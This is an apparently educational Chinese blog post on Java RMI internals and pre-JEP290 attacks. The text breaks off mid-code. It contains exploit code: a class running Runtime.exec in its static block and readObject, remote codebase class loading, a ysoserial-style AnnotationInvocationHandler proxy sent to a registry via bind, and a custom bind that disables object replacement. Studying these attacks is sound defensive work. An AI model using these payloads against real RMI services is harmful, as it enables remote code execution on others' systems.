Diggid's Blog

RMI 攻击方式复盘总结

字数统计: 18.5k阅读时长: 73 min
2021/11/29 Share

RMI 基础

RMI是什么

RMI (Remote Method Invocation) 远程方法调用,顾名思义,是一种调用远程位置的对象来执行方法的思想,类似于分布式RPC的思想。但两者间传送的数据不同。RPC打包和传送数据结构,而RMI是java世界的,通常传递一个完整的对象,该对象即包含数据,又包含操作数据的方法。因此,java中完整的在网络中向远程位置传输一个对象,依赖java原生反序列化,并结合一些机制(包括安全机制),如动态类加载(容错机制)和安全管理器(安全机制)来保证可容错且安全的传输一个java类。

具体的实现思想是获取远程主机上的引用,调用这个引用对象的方法,实际上是客户端通过网络通信将调用的所需的参数数据传输给远程,实际方法在远程执行然后返回结果。

为了屏蔽网络通信的复杂性,RMI引入的两个概念

  • Stubs(客户端存根)
  • Skeletons(服务端骨架)

当客户端Client试图调用一个远程对象时,实际调用的是从远程获取来的保存在客户端本地的一个代理对象Proxy,这个代理对象就是Stub,而调用远程目标对象的方法时,也会经过一个远程代理类,就是Skeleton。Stub与Skeleton直接通信,Stub传输远程方法调用信息(调用的方法、类、参数等),Skeleton接收并向上传递给实际的目标类进行方法调用。对于RMI服务的使用者来说,Stubs和Skeletons的通信调用是隐藏的,我们无需关注这两个类的api,但实际远程通信时时依赖的这两个类。

RMI远程调用的时序图如下:

image-20211129095408293

RMI 怎么用

上面简单解释了RMI调用的核心细节,我们现在创建一个远程目标类。

  • 定义一个远程调用的接口。该接口必须扩展java.rmi.Remote接口,且必须同时存在于Client和Server端
1
2
3
4
5
6
7
8
public interface RemoteInterface extends Remote {

public String sayHello() throws RemoteException;

public String sayHello(Object name) throws RemoteException;

public String sayGoodbye() throws RemoteException;
}
  • 创建远程接口的实现类。该类执行真正逻辑,通常需要继承java.rmi.server.UnicastRemoteObject,RMI会自动将目标类export(暴露在端口上),同时来封装了一些基础的equals/hashcode/toString方法。实现类需要提供无参构造方法且抛出RemoteException。如果不继承UnicastRemoteObject,则需要手动调用静态方法exportObject来export对象。(?export哪个类的)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class RemoteObject extends UnicastRemoteObject implements RemoteInterface {

protected RemoteObject() throws RemoteException {
}

@Override
public String sayHello() throws RemoteException {
return "Hello My Friend";
}

@Override
public String sayHello(Object name) throws RemoteException {
return name.getClass().getName();
}

@Override
public String sayGoodbye() throws RemoteException {
return "Bye";
}
}

可以被调用的远程对象创建好了,但此时,Client端并不知道Server端是否有这个对象(虽然远程调用的接口类ServiceInterface是同时存在于两端的)。所以,RMI设置了Registry来以注册-暴露的形式提供远程对象。过程大概类似于:一个 RMI 电话本,我们想在某个人那里获取信息时(Remote Method Invocation),我们在电话本上(Registry)通过这个人的名称 (Name)来找到这个人的电话号码(Reference),并通过这个号码找到这个人(Remote Object)

而实现该思路需要java.rmi.registry.Registryjava.rmi.Naming

java.rmi.Naming:是一个 final 类,提供了在远程对象注册表(Registry)中存储和获取远程对象引用的方法,这个类提供的每个方法都有一个 URL 格式的参数,格式如下://host:port/name

  • host 表示注册表所在的主机
  • port 表示注册表接受调用的端口号,默认为 1099
  • name 表示一个注册 Remote Object 的引用的名称,不能是注册表中的一些关键字

比如rmi://127.0.0.1:1099/remote

Naming 提供了查询(lookup)、绑定(bind)、重新绑定(rebind)、接触绑定(unbind)、list(列表)用来对注册表进行操作。也就是说,Naming 是一个用来对注册表进行操作的类,实际是对注册表对象的操作进行的封装,这些方法的具体实现,其实是调用 LocateRegistry.getRegistry 方法获取了 Registry 接口的实现类,并调用其相关方法进行实现的

java.rmi.registry.Registry就是注册表(注册中心)本身,该接口有两实现类:RegistryImpl 和 RegistryImpl_Stub。创建一个注册中心的代码如下:

1
2
3
4
5
6
7
8
9
10
11
public class Registry {

public static void main(String args[]) {
try {
LocateRegistry.createRegistry(1099);
System.out.println("Server Start");
} catch (Exception e) {
e.printStackTrace();
}
}
}

Server向注册中心注册远程对象RemoteObject

1
2
3
4
5
6
7
8
public class Server {
public static void main(String[] args) throws Exception{
RemoteInterface remoteObject = new RemoteObject();
Naming.bind("rmi://localhost:1099/remote", remoteObject);
// Registry registry = LocateRegistry.getRegistry(1099);
// registry.bind("rmi://localhost:1099/remote", remoteObject);
}
}

至此,Client便可以进行RMI操作了,即调用远程对象方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class RMIClient {

public static void main(String[] args) throws RemoteException, NotBoundException {

// sun.rmi.registry.RegistryImpl_Stub
Registry registry = LocateRegistry.getRegistry("localhost", 1099);

System.out.println(Arrays.toString(registry.list()));

// lookup and call
RemoteInterface stub = (RemoteInterface) registry.lookup("Hello");
System.out.println(stub.sayHello());
System.out.println(stub.sayGoodbye());
}
}

通常情况下,Service和Registry是放在一起作为Server端的(但也有分开的情况,后面会说,即Service和Registry端对打),而Client作为一端,最后的目录结构如下

RMI特性

动态类加载

动态类加载解决的问题是:如果客户端在调用时,传递了一个可序列化对象,这个对象在服务端不存在,会抛出ClassNotFound 的异常,但RMI支持动态类加载,若设置了java.rmi.server.codebase属性,则会尝试以该地址作为额外的classpath获取.class并加载和反序列化,可以使用以下两者方式指定

  • System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:7777/");
  • -Djava.rmi.server.codebase="http://127.0.0.1:9999/"

但该特性由于安全问题受到jdk版本的限制,最好在8u121以下版本测试。

由于是通过外部加载类并执行,因此为了保证安全,RMI中引用SecurityManager来限制动态类加载的行为,如果不设置SecurityManager,则RMI默认不会动态加载任何类,即报错

1
com.diggid.rmi.RemoteInterface (no security manager: RMI class loader disabled)

因此我们可以**需要动态类加载的一端(比如客户端传一个服务端不存在的参数对象给服务端,则服务端就需要设置)**设置以下内容

1
2
3
4
5
6
7
8
9
10
System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:7777/");
System.setProperty("java.security.policy", ClassLoader.getSystemResource("rmi.policy").toString());
if (System.getSecurityManager() == null) {
System.setSecurityManager(new SecurityManager());
}
/** rmi.policy
* grant {
* permission java.security.AllPermission;
* };
*/

RMI 源码

服务创建

远程对象创建

我们创建了一个RemoteObject对象,该对象继承UnicastRemoteObject,在后面会使用JRMP协议export暴露远程对象,并获取与远程对象进行通信的Stub。

与创建对象相关的编写代码就一行:RemoteInterface remoteObject = new RemoteObject();

RemoteObject对象继承的UnicastRemoteObject,所有远程对象创建并暴露的逻辑从该类的构造方法中开始

image-20211129184513384

跟进exportObject方法

image-20211129184551150

先会创建sun.rmi.server.UnicastServerRef对象,这个对象表示服务端远程对象的引用Reference。初始化该对象的大部分工作实际是初始化LiveRef类型的ref成员变量。

image-20211129184948717

继续跟进具体的exportObject方法的实现

image-20211129185130060

实际上是调用UnicastServerRef#exportObject来暴露我们的RemoteObject,在ref属性中也保存了RemoteRef接口类型的实例,即UnicastServerRef

在exportObject方法中,先调用sun.rmi.server.Util#createProxy来创建代理类。再创建Target对象封装远程执行方法和动态代理类

image-20211129185505355

先看一下Util#createProxy。在调用这个方法前,首先会创建和服务引用UnicastServerRef对等的UnicastRef,其中ref也保存了同样的LiveRef,这是Client端的对象的Reference

image-20211129185843373

创建RemoteObjectInvocationHandler作为handler,其保存了UnicastRef,用于后续具体的方法调用。然后创建Proxy,代理了Remote和自定义的RemoteInterface接口,作为Remote类型返回。

image-20211129190041412

回到exportObject方法中,这里将RemoteObjectUnicastServerRef(服务端引用)、Proxy(本地存根Stub)封装在Target对象中。其中Proxy就作为了我们前面所说的Stub

image-20211129190715364

最后调用LiveRef#exportObject方法来真正暴露Target对象:监听随机注册端口 + 注册实例到相关Map中。

image-20211129190855963

具体实现是:调用 TCPTransport 的 exportObject 方法将 Target 实例注册到 ObjectTable 中。ObjectTable 用来管理所有发布的服务实例 Target,ObjectTable 提供了根据 ObjectEndpoint 和 Remote 实例两种方式查找 Target 的方法(不同参数的 getTarget 方法)。

image-20211129192824031

至此,以上流程汇总成一张时序图如下

image-20211129192922461

注册中心创建

1
LocateRegistry.createRegistry(1099);

首先注册中心实际是一个RegistryImpl对象,该构造方法和远程对象的创建类似,也是先初始化一个LiveRef用于建立TCPEndpoint,根据不同的构造方法来建立客户端或服务端的TCPEndpoint。也就是说,LiveRef是连接端点TCPEndpoint的封装,具体是监听的一方还是连接的一方,根据构造方法初始化相关参数来决定。

image-20220307111420685

  • 只有第一个构造方法中直接传入Endpoint,表示连接的一方(即客户端)
  • 剩下的四个,都是类似的,ObjID是区别每个LiveRef的id(在后面区别是Registry还是DGC会提到),int类型的参数是需要本地监听的端口,其他剩下的参数是工厂类

所以在RegistryImpl即注册中心的初始化中,传入了RegistryImpl.id(常量0)var1是要监听的端口

image-20211129194907397

之后调用setup方法,传入的对象是一个UnicastServerRef,这里就和前面远程对象的创建流程很像了。

image-20211129195145921

继续跟进UnicastServerRef#exportObject方法,与之前不同的是,Util.creatProxy方法中有一步判断:stubClassExists(var3),即当存在RemoteObject存在_Stub后缀的类时,直接初始化该类作为Stub,一般是服务端已经定义好的一些服务需要的Stub会存在。因此直接就实例化了RegistryImpl_Stub

image-20211129195402757

image-20211129195636850

image-20211129195654847

RegistryImpl_Stub实现了Registry, Remote,继承RemoteStub。同时实现了Registry定义的注册中心的一些操作:bind/list/lookup/rebind/unbind。这些方法都是基于序列化和反序列化的

image-20211129195856966

创建完Stub之后,会调用serSkeleton创建RegistryImpl_Skel,该类被引用在UnicastServerRef的skel变量中,作为服务端的Skeleton

image-20211129200125421

image-20211129200138094

该类提供了dispatch方法来分发具体的操作,即调用RegistryImplbind/rebind/unbind/list/lookup

image-20211129200750804

而后面封装为Target并调用LiveRef#exportObject的流程和前面一样。总结一下:

  • 远程服务对象使用动态代理作为Stub,invoke 方法最终调用 UnicastRef 的 invoke 方法。注册中心使用 RegistryImpl_Stub,同时还创建了 RegistryImpl_Skel,其中dispatch方法调度RegistryImpl
  • 远程对象默认随机端口,注册中心默认是 1099(当然也可以指定)

服务注册(bind)

服务注册的过程对应的代码如下:

1
2
registry = LocateRegistry.getRegistry(9999);
registry.bind("service", remoteObject);

从代码可以看出,这里主要讨论服务端和Registry端不再同一端的情况。如果在同一端,createRegistry得到的是RegistryImpl,那么直接调用其bind方法往bindings这个Hashtable变量中放String(名称)Remote的键值对即可,没啥好说的。而getRegistry得到的是RegistryImpl_Stub,具体来看一下。

服务端

RegistryImpl_Stub是Registry端在服务端本地的存根,根据此于Registry端通信。

如果 Server 端和 Registry 不同端,则在 Server 端或 Client 端使用 LocateRegistry.getRegistry() 方法获取注册中心时都是一样的流程:

  • 首先在本地创建了一个包含了具体通信地址、端口的 RegistryImpl_Stub 对象
  • 通过调用这个本地的 RegistryImpl_Stub 对象的 bind/list… 等方法,来与 Registry 端进行通信
  • 而 RegistryImpl_Stub 的每个方法,都实际上调用了 UnicastRef 的 invoke 方法,进行了一次远程调用连接(invoke方法有两个重载,注意参数)
  • 这个过程使用 java 原生序列化及反序列化来实现

看到bind方法,创建与远端的连接StreamRemoteCall,然后将参数序列化。

image-20211130092606134

注意这里的序列化流程,StreamRemoteCall#getOutputStream获取的是ConnectionOutputStream,其继承了sun.rmi.server.MarshalOutputStream

调用的是writeObject序列化参数。MarshalOutputStream中定义了一个replaceObject方法,在序列化时用于对Remote实例替换为动态代理Stub,即

image-20211130093421239

image-20211130093440978

image-20211130093512907

序列化对象后保存在ConnectionOutputStream

调用sun.rmi.server.UnicastRef#invoke(java.rmi.server.RemoteCall),实际是调用StreamRemoteCall#executeCall来写出序列化数据并处理DGC

image-20211130093806379

image-20211130094744901

处理DGC时也用到的反序列化,这里后面攻击方式中展开。

image-20211130094800079

Registry端

接下来看看Registry端做了什么。简单来说,Registry需要响应请求、发配请求、调用相应的方法(反序列化MarshalledObject)。首先接受TCP并处理的方法是sun.rmi.transport.tcp.TCPTransport#handleMessages该方法从TCPConnection中获取java.io.DataInputStream,即发现端发送过来的数据封装

image-20211129210347078

进一步调用serviceCall处理

image-20211129210403055

调用getTargetObjectTable中获取Target,再从Target中取出UnicastServerRef

image-20211129210604980

然后调用之前说到的UnicastServerRef#dispatch方法,这里判断this.skel是否为空来区别自己是Registry端还是服务端的。因为后面服务端的方法调用也是通过UnicastServerRef#dispatch方法来调用的,因此这里需要区别一下,如果this.skel为空,就会调用后面的invoke方法而不是这里的oldDispatch了。

image-20211129221333507

该方法实际就是调用UnicastServerRef#skelRegistryImpl_skeldispatch方法。这里也就可以体会到了是Client的Stub和Server的Skeleton直接通信的思想。

image-20211129210851864

image-20211129210939410

RegistryImpl_Skel 的 dispatch 方法根据流中写入的不同的操作类型分发给不同的方法处理,例如 0 代表着 bind 方法。bind的处理方式是:先反序列化Stub传递过来的参数,即String名称和Remote即RemoteObject。然后才调用实际的RegistryImpl#bind方法来注册。

image-20211129211533734

服务发现(lookup)

这里就是 Client 端向 Registry 端查询的过程了

1
2
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);
RemoteInterface remoteObject = (RemoteInterface) registry.lookup("service");

以Registry的角度来看,服务端的bind和Client端的lookup是对等的操作,因此调用逻辑流程在Registry端基本是一样的,只是最终调用的RegistryImpl的方法不一样而已。

Client端

Client端获取Registry的流程和上面所述的服务端getRegistry是一样的,不再赘述。

其调用lookup的过程很简单,当获取到本地创建的RegistryImpl_Stub后,直接调用其lookup方法。将name序列化传送给Registry端,接受到Registry返回的结果之后再进行反序列化。

通信的参数传递和结果接受都以sun.rmi.transport.StreamRemoteCall作为载体。通过UnicastRef#invoke -> StreamRemoteCall#executeCall实现底层的DGC通信。这一部分在后面的攻击的攻击方式中再说

image-20211129213642625

Registry端

Registry端的前半部分过程和bind操作一样,从RegistryImpl_Skel#dispatch开始派发,这里lookup对应的常量是2。先反序列化Client端发来的参数,即service字符串,然后调用RegistryImpl#lookup。最后再writeObject将RemoteObject替换为RemoteObjectInvocationHandler写出。

image-20211129223147851

看一下调用RegistryImpl#lookup方法

image-20211129214335087

直观上看很简单,是bind操作的逆操作。从bindings中根据名称获取Remote实例。

这里多提一点,对于服务端和注册端是否在同一端的情况,在前面服务注册中已经体现了细微的差别,在这里的同样有类似的区别:

  • 在同一端:lookup出来并返回的是RemoteObject,并没有封装代理。但lookup之后回到RegistryImpl_Skel#dispatch中,writeObject还是会将其替换为动态代理类Stub的(这里想一想也可以知道,Client端只有持有对于RemoteInterface的动态代理,才能正常调用方法,同时进行通信,仅仅是RemoteObject肯定完成不了)

image-20211129215611808

  • 不在同一端:lookup出来并返回的是RemoteObjectInvocationHandler。就无需再进行替换了

image-20211129220116605

image-20211129223858013

服务调用

1
System.out.println(remoteObject.sayHello());

Client端

前面的流程弄完之后,说明Client端已经持有Registry端传回的RemoteObjectInvocationHandler了。再看一下通过该动态代理Stub具体的方法调用,直接看invoke方法

image-20211129224444789

如果是Object对象的话,则调用invokeObjectMethod方法,正常情况下调用invokeRemoteMethod方法,实际是调用UnicastRef#invoke方法,getMethodHash从代理Stub的methodToHash_Maps中取出对应的方法

image-20211129225015953

然后调用this.ref.getChannel().newConnection();与UnicastServerRef连接,同时序列化参数、通过JRMP协议传输参数数据和远程调用信息。

image-20211129234836628

此时切换到服务端,等待服务端调用方法并返回结果。得到服务端返回的序列化结果后,调用unmarshalValue方法来反序列化。至此,整个RMI流程就结束了。

image-20211129234952514

服务端

这里直接和服务端UnicastServerRef的进行通信。和前面bind/lookup的执行流程一样,再放一下调用链吧

1
2
3
4
5
6
dispatch:324, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)

UnicastServerRef#dispatch方法,先从UnicastServerRef#hashToMethod_Map中获取Client端要调用的RemoteObject的方法,这里是sayHello(在服务创建时服务端初始化UnicastServerRef就保存了RemoteObject的所有方法)

image-20211129231235630

如果有参数的话,还会调用UnicastServerRef#unmarshalParameters来反序列化参数,底层是调用的unmarshalValue方法

image-20211129235359754

image-20211129235513424

拿到方法和处理完参数之后,直接反射invoke调用。然后封装调用结果(写入一些其他的标志信息,同时序列化invoke返回的结果)

image-20211129234036944

image-20211129234010482

image-20211129233904956

最后release出去,即将数据流写到TCP连接中传输回Client端。至此服务端的工作就完成了,可以回看Client端了

image-20211129234133201

总结

image-20211129153947969

RMI 底层通讯采用了Stub (运行在客户端) 和 Skeleton (运行在服务端) 机制,RMI 调用远程方法的大致如下:

  1. RMI 客户端在调用远程方法时会先创建 Stub ( sun.rmi.registry.RegistryImpl_Stub )。
  2. Stub 会将 Remote 对象传递给远程引用层 ( java.rmi.server.RemoteRef ) 并创建 java.rmi.server.RemoteCall( 远程调用 )对象。
  3. RemoteCall 序列化 RMI 服务名称、Remote 对象。
  4. RMI 客户端的远程引用层传输 RemoteCall 序列化后的请求信息通过 Socket 连接的方式传输到 RMI 服务端的远程引用层。
  5. RMI服务端的远程引用层( sun.rmi.server.UnicastServerRef )收到请求会请求传递给 Skeleton ( sun.rmi.registry.RegistryImpl_Skel#dispatch )。
  6. Skeleton 调用 RemoteCall 反序列化 RMI 客户端传过来的序列化。
  7. Skeleton 处理客户端请求:bind、list、lookup、rebind、unbind,如果是 lookup 则查找 RMI 服务名绑定的接口对象,序列化该对象并通过 RemoteCall 传输到客户端。
  8. RMI 客户端反序列化服务端结果,获取远程对象的引用。
  9. RMI 客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端。
  10. RMI 客户端反序列化 RMI 远程方法调用结果。

特别需要注意的是,很明显的,RMI是完全基于反序列化的

除了在本地就能完成的流程(服务创建),其余需要端与端通信的操作(如果服务注册时两端同端的话,则不需要),都进行的序列化/反序列化来传递参数或结果。

攻击 RMI - JEP290前

这里引用@su18师傅的铺垫解释

参与一次 RMI 调用的有三个角色,分别是 Server 端,Registry 端和 Client 端。严格意义上来讲,只有 Registry 端和使用 Registry 的端,因为 Registry 端只负责查询和传递引用,真正的方法调用是不需要经过 Registry 端的,只不过注册服务的我们称之为 Server 端,使用服务的我们称之为 Client 端。有一种我只负责帮你找到人,至于你找这个人做什么非法勾当我不管的感觉,不过为了更清晰的划分不同角色,我们还是将其分为三个角色,而通常情况下,Server 端和 Registry 端是同一端。

在三个角色中均进行了反序列化的操作。那也就说明针对三端都有攻击的可能。

攻击Server端

恶意服务参数

前面提到了:在 Client 端获取到 Server 端创建的 Stub(RemoteObjectInvocationHandler)后,会在本地调用这个 Stub 并传递参数,Stub 会序列化这个参数,并传递给 Server 端,Server 端会反序列化 Client 端传入的参数并进行调用。这里对应的是上面服务调用Client->Server的流程。

我们进阶的来看一下

  1. 当Client端和Server端的远程调用接口RemoteInterface都存在参数为Object类型的方法时

在这种情况下,当Client端传输一个恶意的Object作为参数,这里以CC6的链子为例,直接弹出计算机。

image-20211130102451073

image-20211130102506091

如果参数不是Object类型,但可以封装我们的恶意对象到参数类中,那么也是可以触发的,比如把Object参数类型换成HashMap,或者具有Object类型成员变量的Xxx类,再把恶意对象封装进去即可,最终还是会反序列化出来的。

  1. 当Client端和Server端远程调用方法的签名不一致时(即Server端指定类型)

有这种想法的原因是:如果远程调用方法不能封装我们的恶意对象,那么就无法正常触发攻击了。那么尝试一下修改Client端的参数类型为Object,Server端不管。这样还能不能触发成功呢?

image-20211130103733924

image-20211130103741700

直接触发是不行的,会报错:java.rmi.UnmarshalException: unrecognized method hash: method not supported by remote object。

从前面的分析也可以知道,在UnicastServerRef#dispatch方法中,Server端会根据Client端传递过来的方法信息在UnicastServerRef#hashToMethod_Map查找对应的方法。这个 hash 实际上是一个基于方法签名的 SHA1 hash 值。

但这其中其实有逻辑的漏洞点:限制了两端方法方法签名必须一致,但限制了方法参数和实际参数必须一致吗?

显然没有,RMI在整个参数处理对于序列化得来的参数都是单独的进行的反序列化处理。因此有这么一种情况:不改变方法签名(即保持两端方法一样),而传递的参数从HelloObject变为恶意对象。

据此,在 mogwailabs 的 [PPT](https://github.com/mogwailabs/rmi-deserialization/blob/master/BSides Exploiting RMI Services.pdf) 中提出了以下 4 种方法

  • 通过网络代理,在流量层修改数据。@0c0c0f师傅在这篇文章里使用了。
  • 自定义 “java.rmi” 包的代码,自行实现
  • hook并使用字节码修改。@Afant1师傅在这篇文章里使用了。
  • 使用 debugger(即IDEA来修改),测试的方便用。其实debugger底层就是使用了第三种方式hook+javaagent。

此外,还有其他讨论的攻击方式:

  • 替身攻击

大体的思路就是调用的方法参数是 ServerObject,而攻击者希望使用 CC 链来反序列化,比如使用了一个入口点为 HashMap 的 POC,那么攻击者在本地的环境中将 HashMap 重写,让 HashMap 继承 HelloObject,然后实现反序列化漏洞攻击的逻辑,用来欺骗 RMI 的校验机制。

为了方便测试,我们使用IDEA debugger修改参数的方式。很显然,我们的Hook点是RemoteObjectInvocationHandler#invokeRemoteMethod。大致过程是,先调用恶意的Method,传递我们的恶意参数对象,再在invokeRemoteMethod方法中将恶意Method修改为两端都有的正常Method(即HelloObject作为参数的)

image-20211130105752648

可以成功弹出计算机,将上述流程使用javaAgent的方式去实现也十分方便。

其实仔细看一下反序列化的逻辑sun.rmi.server.UnicastRef#unmarshalValue,可以得到如下结论:

只要Server 端的调用方法存在非基础类型(String不算)的参数时,就可以被恶意 Client 端传入恶意数据流触发反序列化漏洞。

绕过制定类型的思路问题在:如何欺骗Server端指定类型的签名校验同时又能传递Object类型恶意反序列化Gadgets。解决的层面:(运行时传输前)修改/伪造方法(java运行时层面)、(传输后)通过代理网络在流量层修改、(运行前载入时)替身攻击

动态类加载

前面我们提到过RMI的一大特性之一就是动态类加载机制。简单来说就是当本地ClassPath中无法找到相应的类时,会在制定的codebase里加载class。在6u45/7u21之前都是默认开启的。

这里先说几点结论:

  • 动态类加载机制不区分角色,在三端中都可以触发
  • 需要在触发动态类加载机制的一端设置SecurityManager,否则会报错。前面也提到了
  • 需要在触态类加载机制的一端设置java.rmi.server.useCodebaseOnly=false,该方法用于限制该机制是否允许远程加载。
  • 设置java.rmi.server.codebase为目标类远程地址,不是在触发端设置的,触发端并不知道地址,而是Client端提供的
  • 恶意代码需要放在恶意类的static块或readObject中(回顾原生反序列化)

重点关注一下第二点和第四点,容易产生误区。带着以上结论,跟一下源码。

这里先准备一个恶意的Object,恶意代码只能放在static块中,因为后续触发Class.forName类初始化只会执行static中的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// Evil.java
public class Evil implements Serializable{

static {
try {
Runtime.getRuntime().exec("open -a Calculator.app");
} catch (Exception e) {
e.printStackTrace();
}
}

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
System.out.println("readObject");
Runtime.getRuntime().exec("open -a Calculator.app");
}
}

// Client.java
System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:7777/");
...
Evil evil = new Evil();
System.out.println(remoteObject.sayHello(evil));

// Server.java
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("java.security.policy", ClassLoader.getSystemResource("rmi.policy").toString());
if (System.getSecurityManager() == null) {
System.setSecurityManager(new SecurityManager());
}
...

在Server端,调用UnicastServerRef#dispatch方法处理参数和invoke目标方法,unmarshalParameters方法反序列化Client端传递过来的参数,跟进看一下

image-20211130133547973

调用unmarshalValue,接着调用ObjectInput#readObject,实际是ConnectionInputStream的。反序列化过程会调用自定义类的resolveClass方法,调用栈如下

1
2
3
4
5
6
resolveClass:189, MarshalInputStream (sun.rmi.server)
readNonProxyDesc:1620, ObjectInputStream (java.io)
readClassDesc:1521, ObjectInputStream (java.io)
readOrdinaryObject:1781, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
readObject:373, ObjectInputStream (java.io)

image-20211130134448648

整个过程如下,简单来说就是java原生反序列化,中间插件式的加上了远程加载类的流程。所以远程加载到的类还是会经过原生反序列化的流程,即调用readObject

  1. 调用MarshalInputStream#readLocation来读取java.rmi.server.codebase设置的地址。对应Client端写入地址的方法是writeLocation

image-20211130134600515

image-20211130134613489

  1. 判断MarshalInputStream#useCodebaseOnly成员变量是否为false。所以我们要在Server端设置java.rmi.server.useCodebaseOnly=false

image-20211130134800457

image-20211130134822114

  1. 调用java.rmi.server.RMIClassLoader#loadClass来远程加载类

image-20211130141018532

这里使用的是SPI机制通过provider来加载类,provider的获取方式如下:

image-20211130141106547

image-20211130141302209

通过java.rmi.server.RMIClassLoaderSpi配置provider类名,如果classpath下存在实现了RMIClassLoaderSpi接口的provider的话,就加载自定义的provider。否则就加载默认的defaultProvider。

image-20211130141639275

我们这里没配置啥,默认是default,因此直接跟进java.rmi.server.RMIClassLoaderSpi#loadClass方法,其委托sun.rmi.server.LoaderHandler#loadClass来处理,没有自定义的ClassLoader,则调用双参数的loadClass

image-20211130142014213

获取SecurityManager,如果为空的话,意味着直接就尝试本地加载,本地加载不成功就会报错,这个报错在上面也出现过了。

image-20211130142236031

这里SM不为空,看接下来的逻辑,获取sun.rmi.server.LoaderHandler$Loader。这个内部类继承了java.net.URLClassLoader,其loadClass方法就是简单的调用父类的loadClass方法

首先检验permissions

image-20211130142521031

最少需要("java.net.SocketPermission" "127.0.0.1:7777" "connect,resolve")的权限。

然后调用loadClassForName来进行远程类加载,注意这里的Class.forName第二个参数是false,意味着只进行类装载而不进行类初始化。所以到这里一步是能够从远程加载Evil类,但还未执行代码。然后一直返回到ObjectInputStream#readNonProxyDesc方法中,后面就是正常的反序列化流程了,会调用恶意类的readObject方法。

image-20211130142942390

攻击Registry端

Registry端的攻击主要集中在sun.rmi.registry.RegistryImpl_Skel#dispatch,即Registry的bind/rebind/unbindlookup这几个操作的反序列化问题。

  • bind/rebind

image-20211130152425656

  • unbind

image-20211130152520376

  • lookup

image-20211130152618392

在不讨论版本带来的安全机制的前提下,理论上当Client端和Server端调用上述4个操作向Registry端传输恶意对象参数时,Registry都会执行反序列化操作。

但是在攻击端,lookupunbind的参数类型都是String,这在运行前编写代码时限制了我们传入恶意Object。解决的思路和前面利用JavaAgent修改方法签名攻击Server端类似,我们可以在运行时修改参数为恶意的Object。Hook点在 RegistryImpl_Stub的lookup/unbind方法。这个后面集中来说。

这里简单测试一下bind/rebind的情况,这两个方法的第二个参数是Remote类型的。但是在代码层面上还是有限制,前面讨论了远程对象创建将RemoteObjectUnicastServerRef(服务端引用)、Proxy(本地存根Stub)封装在Target对象中,而RemoteObject里面才是我们的恶意对象。服务端RegistryImpl_Stub#bind时会对序列化数据进行replaceObject处理,前面也提到了。因此我们要绕过这一层面的处理。

image-20211130164439808

这里提供了三种思路:

  1. 自定义一个类,实现Remote和Serializable接口但不继承UnicastRemoteObject。

如果从ObjectTable中拿出来的Target是null的话,就不会进行替换了。而OjectTable#putTarget是在远程对象创建时的发生的(即调用了exportObject)。因此这里我们直接自定义一个恶意的RemoteObject,其实现Remote和Serializable接口但不继承UnicastRemoteObject,就不会触发UnicastRemoteObject#exportObject了。该类的成员变量object保存我们的恶意类即可。熟悉原生反序列化的话,会知道,即使顶层的类找不到,整个readObject流程不会中断,而是会继续完成,具体可以看ObjectInputStream#readOrdinaryObjectreadClassDeschandles.markException两处。

恶意类的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.io.Serializable;
import java.rmi.Remote;

public class EvilRemoteObject2 implements Remote, Serializable {
private Object object;

public Object getObject() {
return object;
}

public void setObject(Object object) {
this.object = object; // 放任意反序列化Gadgets
}
}
  1. 使用已有的Gadgets。需要实现Remote接口且有带Object类型的成员

这个是 ysoserial.exploit.RMIRegistryExploit 的方式,创建一个代理Remote接口的代理,用AnnotationInvocationHandler的memberValues变量来持有恶意对象,也满足条件。为什么要用代理?因为在所有继承了java.rmi.Remote接口的类中,找不到带Object类型成员的类。由于没有继承UnicastRemoteObject啥的,所以在ObjectTable中也就不存在了,自然获取时就是null。

1
2
3
4
5
6
7
8
9
10
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor con = c.getDeclaredConstructors()[0];
con.setAccessible(true);
HashMap hm = new HashMap();
hm.put("test", Util.getEvil());
Object ob = con.newInstance(Target.class, hm);
Remote remote = (Remote) Proxy.newProxyInstance(null, new Class[]{Remote.class}, (InvocationHandler) ob);
// Naming.bind("rmi://127.0.0.1:7777/remote", remoteObject);
registry = LocateRegistry.getRegistry(9999);
registry.bind("service", remote);

注意使用AnnotationInvocationHandler并没有像CC1反序列化的jdk限制,要区别开来。因为这个Gadgets调用的起点是CC6,而AnnotationInvocationHandler只是起到封装CC6恶意对象HashSet的作用,反序列化是从HashSet#readObject开始的,并不是像CC1一样需要其成员变量memberValues来连接链子。

  1. 简单粗暴直接把ObjectOutputStream#enableReplace变量改为false

这个方式一直没想到,因为一直惯性思维认为一定会进入到replaceObject,所以一直在想怎么绕过这玩意(见下面两个方法)。在RegistryImpl_Stub#bind方法中,我们调用call.getOutputStream();初始化我们的ConnectionOutputStream,正是在初始化的过程中设置了enableReplace为true。所以我们可以自实现bind的过程,同时反射修改enableReplace为false。这样子我们的恶意类就可以继承UnicastRemoteObject而不用担心会被替换了。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private static void bind(String name, Remote remote, RegistryImpl_Stub registry) throws Exception{
Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
RemoteRef ref = registry.getRef();
RemoteCall remoteCall = ref.newCall(registry, operations, 0, 4905912898345647071L);
ObjectOutputStream o = (ObjectOutputStream) remoteCall.getOutputStream();
